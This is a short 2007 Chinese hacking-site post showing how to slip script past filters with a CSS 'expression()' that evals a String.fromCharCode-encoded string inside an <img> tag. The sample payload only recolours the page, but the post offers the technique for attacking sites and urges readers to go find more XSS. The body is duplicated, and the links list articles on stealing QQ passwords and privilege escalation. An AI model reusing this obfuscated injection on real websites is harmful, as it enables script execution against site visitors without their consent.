expression&eval跨站的一個(gè)方法
更新時(shí)間：2007年03月08日 00:00:00 作者：
expression這個(gè)CSS的屬性很多程序都沒(méi)有過(guò)濾好,很容易被跨,不知道用就參考劍心的幻影論壇跨站腳本漏洞測(cè)試過(guò)程.
我這里要說(shuō)的是另外一種方法,使用String.fromCharCode方法把ASCⅡ碼轉(zhuǎn)換為字符再用EVAL函數(shù)執(zhí)行.
<img src="#" style="Xss:expression(eval(
String.fromCharCode(100,111,99,117,109,101,110,116,46,98,103,67,111,108,111,114,61,34,98,108,117,101,34)));">
嘿嘿,大把的XSS等你去挖掘,ENJOY IT :)
我這里要說(shuō)的是另外一種方法,使用String.fromCharCode方法把ASCⅡ碼轉(zhuǎn)換為字符再用EVAL函數(shù)執(zhí)行.
<img src="#" style="Xss:expression(eval(
String.fromCharCode(100,111,99,117,109,101,110,116,46,98,103,67,111,108,111,114,61,34,98,108,117,101,34)));">
嘿嘿,大把的XSS等你去挖掘,ENJOY IT :)
相關(guān)文章
一些小技巧與常見(jiàn)問(wèn)題解決方法...2007-10-10
開(kāi)放IPC$共享...2007-01-01
許多網(wǎng)友都想知道“QQ聊天記錄刪除了怎么恢復(fù)”，因?yàn)镼Q聊天記錄對(duì)于我們來(lái)說(shuō)是很重要的數(shù)據(jù)。下面我們就來(lái)介紹下如何解決QQ聊天記錄刪除恢復(fù)的問(wèn)題2012-03-03
歷代木馬程序隱身的技術(shù)分析...2007-11-11
XSS 0DAY代碼...2007-03-03
提權(quán),以MySQL之名...2007-01-01
提權(quán)總結(jié)整理貼...2007-10-10
想用別人的 qq號(hào)碼，最主要的就是把別人的密碼偷來(lái)，那么怎么盜別人的qq密碼呢？不過(guò)，沒(méi)有人會(huì)告訴你：我的密碼是什么什么，請(qǐng)你盡情的用我的號(hào)碼吧！那么，黑客是怎么去把別人的密碼偷來(lái)呢2012-03-03
Mysql提權(quán)方法利用...2007-06-06
價(jià)值600元的東亞黑客聯(lián)盟VIP教程...2007-06-06